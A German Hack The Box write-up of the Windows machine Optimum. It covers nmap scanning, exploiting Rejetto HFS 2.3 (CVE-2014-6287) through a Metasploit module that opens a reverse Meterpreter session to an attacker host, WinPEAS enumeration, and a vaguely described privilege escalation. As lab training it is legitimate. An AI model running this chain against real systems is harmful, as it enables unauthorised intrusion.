
Writeup der Optimum-Maschine von Hack The Box. Dieser Walkthrough behandelt die Ausnutzung von Rejetto HttpFileServer 2.3 (CVE-2014-6287), um ersten Zugriff zu erlangen, gefolgt von der Privilege Escalation auf einem Windows-Host mithilfe von Enumerationstechniken und Post-Exploitation-Tools.
Bei dieser Maschine besteht das Ziel darin, zunächst Zugriff auf einen Windows-Host zu erlangen, indem ein verwundbarer Webdienst ausgenutzt wird, und anschließend die Privilegien auszuweiten, um die Administrator-Flag zu erhalten.
Der Angriffspfad umfasste:
Wir beginnen mit einem vollständigen TCP-Portscan, um exponierte Dienste zu identifizieren.
nmap -Pn -n -p- --min-rate 5000 -T4 <TARGET_IP>
Der Scan zeigt, dass Port 80 offen ist.
Als Nächstes führen wir einen Dienst- und Versionsscan durch.
nmap -p80 -sSCV --min-rate 5000 -T4 <TARGET_IP>
Das Ergebnis identifiziert den folgenden Dienst:
HttpFileServer 2.3
Dieser Dienst entspricht Rejetto HTTP File Server, einem leichtgewichtigen Webserver für die Dateifreigabe.
Nach der Recherche zur erkannten Version entdecken wir eine bekannte Schwachstelle:
CVE-2014-6287
Diese Schwachstelle ermöglicht Remote-Codeausführung aufgrund unzureichender Eingabebereinigung.
Um die Schwachstelle auszunutzen, verwenden wir Metasploit.
Metasploit starten:
msfconsole -q
Nach dem passenden Modul suchen:
search rejetto
Das Exploit-Modul laden:
use exploit/windows/http/rejetto_hfs_exec
Die erforderlichen Optionen konfigurieren:
set RHOSTS <TARGET_IP>
set RPORT <TARGET_PORT>
set LHOST <ATTACKER_IP>
set LPORT <ATTACKER_PORT>
run
Nach der Ausführung liefert der Exploit eine Meterpreter-Sitzung auf der Zielmaschine.
Mit der erhaltenen Meterpreter-Sitzung navigieren wir durch das Dateisystem, um die User-Flag zu erhalten.
cd
cat user.txt
whoami
Die Befehlsausgabe zeigt, dass wir als folgender Benutzer angemeldet sind:
kostas
Da dieser Benutzer keine Administratorrechte besitzt, fahren wir mit der Privilegienausweitung fort.
Um potenzielle Vektoren für die Privilegienausweitung zu identifizieren, laden wir WinPEAS hoch, ein bekanntes Tool zur Enumeration von Privilegienausweitung unter Windows.
upload /usr/share/peass/winpeas/winPEAS.exe C:\Users\kostas\Desktop\wp.exe
Anschließend führen wir es aus:
shell
.\wp.exe
Die Ausgabe liefert nützliche Informationen, darunter Anmeldeinformationen, die mit dem Benutzer kostas verknüpft sind.
Nach der Überprüfung möglicher Ausweitungsvektoren verwenden wir das Metasploit-Modul:
local_exploit_suggester
Das Modul laden:
use post/multi/recon/local_exploit_suggester
Die Sitzung konfigurieren:
set SESSION <SESSION_NUMBER>
run
Dieses Modul schlägt mögliche lokale Exploits vor, die zur Privilegienausweitung verwendet werden können.
Nach erfolgreicher Privilegienausweitung erhalten wir eine Shell mit Administratorrechten.
Überprüfung:
shell
whoami
Sobald wir Administratorrechte erlangt haben, navigieren wir zum Administrator-Verzeichnis, um die Root-Flag zu erhalten.
cd \Users\Administrator
dir
cd Desktop
dir
type root.txt
Diese Maschine verdeutlicht mehrere wichtige Konzepte des Penetrationstests: